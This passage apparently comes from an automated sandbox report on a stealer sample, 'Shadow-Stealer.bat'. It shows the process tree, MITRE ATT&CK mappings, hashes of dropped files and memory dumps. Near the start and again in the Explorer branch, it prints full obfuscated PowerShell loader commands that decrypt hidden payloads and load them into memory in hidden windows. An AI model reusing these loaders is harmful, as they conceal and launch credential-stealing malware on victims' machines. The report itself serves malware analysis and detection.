        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(2612).WaitForExit();[System.Threading.Thread]::Sleep(5000); function VOHZF($Lwtxx){ $xCaUG=[System.Security.Cryptography.Aes]::Create(); $xCaUG.Mode=[System.Security.Cryptography.CipherMode]::CBC; $xCaUG.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $xCaUG.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0='); $xCaUG.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg=='); $CTnvz=$xCaUG.('rotpyrceDetaerC'[-1..-15] -join '')(); $oMfGF=$CTnvz.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Lwtxx, 0, $Lwtxx.Length); $CTnvz.Dispose(); $xCaUG.Dispose(); $oMfGF;}function nnKof($Lwtxx){ $ABMbT=New-Object System.IO.MemoryStream(,$Lwtxx); $FswzF=New-Object System.IO.MemoryStream; $ZWQus=New-Object System.IO.Compression.GZipStream($ABMbT, [IO.Compression.CompressionMode]::Decompress); $ZWQus.CopyTo($FswzF); $ZWQus.Dispose(); $ABMbT.Dispose(); $FswzF.Dispose(); $FswzF.ToArray();}function vzvJZ($Lwtxx,$kAWoQ){ $kXIpu=[System.Reflection.Assembly]::Load([byte[]]$Lwtxx); $OPPDg=$kXIpu.EntryPoint; $OPPDg.Invoke($null, $kAWoQ);}$xCaUG1 = New-Object System.Security.Cryptography.AesManaged;$xCaUG1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$xCaUG1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$xCaUG1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0=');$xCaUG1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg==');$qsFQP = $xCaUG1.('rotpyrceDetaerC'[-1..-15] -join '')();$UMIrZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2twxIFMV1JWyz0b8BpHEfA==');$UMIrZ = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ, 0, $UMIrZ.Length);$UMIrZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ);$PYyQA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('p05ztWCKuMfos2Q8RYoS+FIXy2DypHHbyYGL6Z+cEc8=');$PYyQA = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($PYyQA, 0, $PYyQA.Length);$PYyQA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($PYyQA);$roofG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Sy8HcJTfKA/mf4hPH+Go6g==');$roofG = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($roofG, 0, $roofG.Length);$roofG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($roofG);$tgmGC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BuxXfqRY1RoP0b/ROY4PrLV7XH6EyWkqL6UOT7VtjFZgNba4DmwvRZ0rEKh6tsW5E4dar7n8yKYorGfhmfzDSchZoElrP0gmf7pENQ75eXbqF+3j4N1LjY1xzYPYeJFwvJGbJvqe3CPoWhNQATtYtY/6ujGYTqqhsjIgqQdcVJyCExpvLG1KTAiDHwbcLEgHzlPLvK+nTj2PYL6WYsFa3I8rptDz3r9IvJABT8A6TOqZRS2q9nM/2K1/IRFUTDKvPPtYy9cd0jq4MTO7gDnvlUAC8kJM0rAwSo8RwA3zKJNYBBv03aq6fIf9zugDa03cb0yO24aIfe5AFN+zOGDLKtWrsyyIVpjarzDCbBlxkhPRynAyHBM2A5pmzVa2gAc2+o8odD180Z07f5ZL3mYwTO8G4arHTtORWkqMdtdm7CA=');$tgmGC = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tgmGC, 0, $tgmGC.Length);$tgmGC = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tgmGC);$zvkCv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JVVxi793TWK0eiazbMjyxQ==');$zvkCv = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zvkCv, 0, $zvkCv.Length);$zvkCv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zvkCv);$MrvyW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('y9CiMcnIF08D1mbStDfFzg==');$MrvyW = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MrvyW, 0, $MrvyW.Length);$MrvyW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MrvyW);$UFhRe = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4Gkz3kktZWs5v4iY/fwpuA==');$UFhRe = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UFhRe, 0, $UFhRe.Length);$UFhRe = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UFhRe);$BdNHQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mWujaRBJ7Bka6/SLPc2zjg==');$BdNHQ = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BdNHQ, 0, $BdNHQ.Length);$BdNHQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BdNHQ);$NXCWg = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JS1eCTl+J3Vy2lPum4BV+A==');$NXCWg = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NXCWg, 0, $NXCWg.Length);$NXCWg = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NXCWg);$UMIrZ0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Xun+s5YVAeQzgGPJKptAJw==');$UMIrZ0 = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ0, 0, $UMIrZ0.Length);$UMIrZ0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ0);$UMIrZ1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tKxTd8rUmwwPDWYqtJ+flg==');$UMIrZ1 = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ1, 0, $UMIrZ1.Length);$UMIrZ1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ1);$UMIrZ2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QwPWmxWc7oP0xMzohMzOyA==');$UMIrZ2 = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ2, 0, $UMIrZ2.Length);$UMIrZ2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ2);$UMIrZ3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('00EoyZz50MzeF+YVDb5OyQ==');$UMIrZ3 = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ3, 0, $UMIrZ3.Length);$UMIrZ3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ3);$qsFQP.Dispose();$xCaUG1.Dispose();if (@(get-process -ea silentlycontinue $UMIrZ3).count -gt 1) {exit};$dINWW = [Microsoft.Win32.Registry]::$BdNHQ.$UFhRe($UMIrZ).$MrvyW($PYyQA);$QJXfU=[string[]]$dINWW.Split('\');$flTmo=nnKof(VOHZF([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QJXfU[1])));vzvJZ $flTmo (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$iBTnS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QJXfU[0]);$xCaUG = New-Object System.Security.Cryptography.AesManaged;$xCaUG.Mode = [System.Security.Cryptography.CipherMode]::CBC;$xCaUG.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$xCaUG.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0=');$xCaUG.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg==');$CTnvz = $xCaUG.('rotpyrceDetaerC'[-1..-15] -join '')();$iBTnS = $CTnvz.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($iBTnS, 0, $iBTnS.Length);$CTnvz.Dispose();$xCaUG.Dispose();$ABMbT = New-Object System.IO.MemoryStream(, $iBTnS);$FswzF = New-Object System.IO.MemoryStream;$ZWQus = New-Object System.IO.Compression.GZipStream($ABMbT, [IO.Compression.CompressionMode]::$UMIrZ1);$ZWQus.$NXCWg($FswzF);$ZWQus.Dispose();$ABMbT.Dispose();$FswzF.Dispose();$iBTnS = $FswzF.ToArray();$JJwWP = $tgmGC | IEX;$kXIpu = $JJwWP::$UMIrZ2($iBTnS);$OPPDg = $kXIpu.EntryPoint;$OPPDg.$UMIrZ0($null, (, [string[]] ($roofG)))
        5⤵
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1340
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{51e35b51-ca3e-4286-bff6-1d4ede80552e}
        5⤵
        
        PID:2164
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{f930169a-d2f7-451a-b91f-4079890d7466}
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1248

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1208

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1272

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1316

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1332

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1348

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1376

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1520

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1528
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2744

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1556

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1608

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1684

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1740

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1836

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1844

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1852

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1892

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1972

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1652

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2084

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2208

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
PID:2372

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2440

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2460

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2580

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2640

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2648

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2660

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2668

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2780

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3060

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2156

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3332

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3428
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Shadow-Stealer.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2616
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3448
- - C:\Users\Admin\AppData\Local\Temp\Shadow-Stealer.bat.exe
    "Shadow-Stealer.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function pXqKy($AMMuC){ $QAuMi=[System.Security.Cryptography.Aes]::Create(); $QAuMi.Mode=[System.Security.Cryptography.CipherMode]::CBC; $QAuMi.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $QAuMi.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('loy14lThS3SgWk7zmlM+U1LaSbD9l9+GRTu5mLzp2mM='); $QAuMi.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lS2YpgJeBrTrEw/fJyL2OQ=='); $LSyot=$QAuMi.CreateDecryptor(); $return_var=$LSyot.TransformFinalBlock($AMMuC, 0, $AMMuC.Length); $LSyot.Dispose(); $QAuMi.Dispose(); $return_var;}function YaPup($AMMuC){ $BpqPy=New-Object System.IO.MemoryStream(,$AMMuC); $MUxyL=New-Object System.IO.MemoryStream; $QRzEr=New-Object System.IO.Compression.GZipStream($BpqPy, [IO.Compression.CompressionMode]::Decompress); $QRzEr.CopyTo($MUxyL); $QRzEr.Dispose(); $BpqPy.Dispose(); $MUxyL.Dispose(); $MUxyL.ToArray();}function dAvUr($AMMuC,$oAPri){ $TIrdu=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$AMMuC); $cmozY=$TIrdu.EntryPoint; $cmozY.Invoke($null, $oAPri);}$agzCo=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Shadow-Stealer.bat').Split([Environment]::NewLine);foreach ($xWgWP in $agzCo) { if ($xWgWP.StartsWith('SEROXEN')) { $gZeLJ=$xWgWP.Substring(7); break; }}$paQQY=[string[]]$gZeLJ.Split('\');$ahdVx=YaPup (pXqKy ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($paQQY[0])));$qbiwj=YaPup (pXqKy ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($paQQY[1])));dAvUr $qbiwj (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));dAvUr $ahdVx (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3536
  - - C:\Windows\SysWOW64\dllhost.exe
      C:\Windows\SysWOW64\dllhost.exe /Processid:{3f8d4290-64c4-4cbc-80e3-ee8f0d3de67c}
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:628

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3568

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3748

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3904

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4104

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:2148

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:3092

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:3900

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:1932

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4904

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:3248

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:4496

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4892

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:1492

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:2284

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:2704

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:1712

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:2820

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:3888

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
PID:1568

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Window

T1564.003

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Shadow-Stealer.bat.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_w55wcnhm.wr2.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\$sxr-cmd.exe

Filesize
283KB

MD5
8a2122e8162dbef04694b9c3e0b6cdee

SHA1
f1efb0fddc156e4c61c5f78a54700e4e7984d55d

SHA256
b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

SHA512
99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

Download Submit
C:\Windows\$sxr-mshta.exe

Filesize
14KB

MD5
0b4340ed812dc82ce636c00fa5c9bef2

SHA1
51c97ebe601ef079b16bcd87af827b0be5283d96

SHA256
dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895

SHA512
d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

Download Submit
memory/64-117-0x00007FFAA0510000-0x00007FFAA0520000-memory.dmp

Filesize
64KB

Download
memory/64-115-0x000001A6444D0000-0x000001A6444F7000-memory.dmp

Filesize
156KB

Download
memory/388-94-0x00007FFAE0490000-0x00007FFAE0685000-memory.dmp

Filesize
2.0MB

Download
memory/388-92-0x0000000140000000-0x0000000140028000-memory.dmp

Filesize
160KB

Download
memory/388-93-0x0000000140000000-0x0000000140028000-memory.dmp

Filesize
160KB

Download
memory/388-95-0x00007FFADF4C0000-0x00007FFADF57E000-memory.dmp

Filesize
760KB

Download
memory/388-102-0x0000000140000000-0x0000000140028000-memory.dmp

Filesize
160KB

Download
memory/400-130-0x00007FFAA0510000-0x00007FFAA0520000-memory.dmp

Filesize
64KB

Download
memory/400-121-0x00000289142E0000-0x0000028914307000-memory.dmp

Filesize
156KB

Download
memory/616-104-0x00000254B0BD0000-0x00000254B0BF2000-memory.dmp

Filesize
136KB

Download
memory/616-109-0x00007FFAA0510000-0x00007FFAA0520000-memory.dmp

Filesize
64KB

Download
memory/616-105-0x00000254B0D50000-0x00000254B0D77000-memory.dmp

Filesize
156KB

Download
memory/628-35-0x0000000000400000-0x0000000000406000-memory.dmp

Filesize
24KB

Download
memory/628-33-0x0000000000400000-0x0000000000406000-memory.dmp

Filesize
24KB

Download
memory/684-108-0x0000029724DB0000-0x0000029724DD7000-memory.dmp

Filesize
156KB

Download
memory/684-111-0x00007FFAA0510000-0x00007FFAA0520000-memory.dmp

Filesize
64KB

Download
memory/744-125-0x00007FFAA0510000-0x00007FFAA0520000-memory.dmp

Filesize
64KB

Download
memory/744-124-0x00000226D77A0000-0x00000226D77C7000-memory.dmp

Filesize
156KB

Download
memory/960-119-0x00007FFAA0510000-0x00007FFAA0520000-memory.dmp

Filesize
64KB

Download
memory/960-114-0x000001D543BA0000-0x000001D543BC7000-memory.dmp

Filesize
156KB

Download
memory/1020-128-0x00007FFAA0510000-0x00007FFAA0520000-memory.dmp

Filesize
64KB

Download
memory/1020-127-0x000001CEB8F90000-0x000001CEB8FB7000-memory.dmp

Filesize
156KB

Download
memory/1036-136-0x00007FFAA0510000-0x00007FFAA0520000-memory.dmp

Filesize
64KB

Download
memory/1036-135-0x0000021205D70000-0x0000021205D97000-memory.dmp

Filesize
156KB

Download
memory/1248-101-0x0000000000F90000-0x0000000000FAA000-memory.dmp

Filesize
104KB

Download
memory/1248-96-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/1248-97-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/1248-99-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/2612-67-0x00007FFAE0490000-0x00007FFAE0685000-memory.dmp

Filesize
2.0MB

Download
memory/2612-66-0x0000018D1A540000-0x0000018D1A562000-memory.dmp

Filesize
136KB

Download
memory/2612-76-0x0000018D7ED00000-0x0000018D7EDB2000-memory.dmp

Filesize
712KB

Download
memory/2612-75-0x0000018D7EBB0000-0x0000018D7EC00000-memory.dmp

Filesize
320KB

Download
memory/2612-78-0x0000018D7EB60000-0x0000018D7EB9C000-memory.dmp

Filesize
240KB

Download
memory/2612-88-0x0000018D1B700000-0x0000018D1B74E000-memory.dmp

Filesize
312KB

Download
memory/2612-89-0x00007FFAE0490000-0x00007FFAE0685000-memory.dmp

Filesize
2.0MB

Download
memory/2612-91-0x0000018D1BB90000-0x0000018D1BBC6000-memory.dmp

Filesize
216KB

Download
memory/2612-90-0x00007FFADF4C0000-0x00007FFADF57E000-memory.dmp

Filesize
760KB

Download
memory/2612-77-0x0000018D7EF90000-0x0000018D7F152000-memory.dmp

Filesize
1.8MB

Download
memory/2612-65-0x0000018D239E0000-0x0000018D23A92000-memory.dmp

Filesize
712KB

Download
memory/2612-64-0x0000018D235A0000-0x0000018D239DE000-memory.dmp

Filesize
4.2MB

Download
memory/2612-63-0x0000018D22DD0000-0x0000018D2359A000-memory.dmp

Filesize
7.8MB

Download
memory/2612-62-0x0000018D1A770000-0x0000018D1ACF6000-memory.dmp

Filesize
5.5MB

Download
memory/2612-61-0x00007FFADF4C0000-0x00007FFADF57E000-memory.dmp

Filesize
760KB

Download
memory/2612-60-0x00007FFAE0490000-0x00007FFAE0685000-memory.dmp

Filesize
2.0MB

Download
memory/2708-31-0x0000000140000000-0x0000000140004000-memory.dmp

Filesize
16KB

Download
memory/2708-29-0x0000000140000000-0x0000000140004000-memory.dmp

Filesize
16KB

Download
memory/3536-36-0x00007FFAC1810000-0x00007FFAC22D1000-memory.dmp

Filesize
10.8MB

Download
memory/3536-26-0x00007FFAE0490000-0x00007FFAE0685000-memory.dmp

Filesize
2.0MB

Download
memory/3536-32-0x00007FFAC1813000-0x00007FFAC1815000-memory.dmp

Filesize
8KB

Download
memory/3536-37-0x00007FFAC1810000-0x00007FFAC22D1000-memory.dmp

Filesize
10.8MB

Download
memory/3536-28-0x000002B181200000-0x000002B18120A000-memory.dmp

Filesize
40KB

Download
memory/3536-25-0x000002B180F20000-0x000002B180F42000-memory.dmp

Filesize
136KB

Download
memory/3536-24-0x000002B180EC0000-0x000002B180F18000-memory.dmp

Filesize
352KB

Download
memory/3536-23-0x000002B180E60000-0x000002B180EB6000-memory.dmp

Filesize
344KB

Download
memory/3536-22-0x000002B180DB0000-0x000002B180E56000-memory.dmp

Filesize
664KB

Download
memory/3536-20-0x000002B180360000-0x000002B180DB0000-memory.dmp

Filesize
10.3MB

Download
memory/3536-18-0x00007FFAE0490000-0x00007FFAE0685000-memory.dmp

Filesize
2.0MB

Download
memory/3536-19-0x00007FFADF4C0000-0x00007FFADF57E000-memory.dmp

Filesize
760KB

Download
memory/3536-17-0x000002B180000000-0x000002B180024000-memory.dmp

Filesize
144KB

Download
memory/3536-16-0x00007FFAC1810000-0x00007FFAC22D1000-memory.dmp

Filesize
10.8MB

Download
memory/3536-15-0x00007FFAC1810000-0x00007FFAC22D1000-memory.dmp

Filesize
10.8MB

Download
memory/3536-5-0x000002B1D5F00000-0x000002B1D5F22000-memory.dmp

Filesize
136KB

Download
memory/3536-4-0x00007FFAC1813000-0x00007FFAC1815000-memory.dmp

Filesize
8KB

Download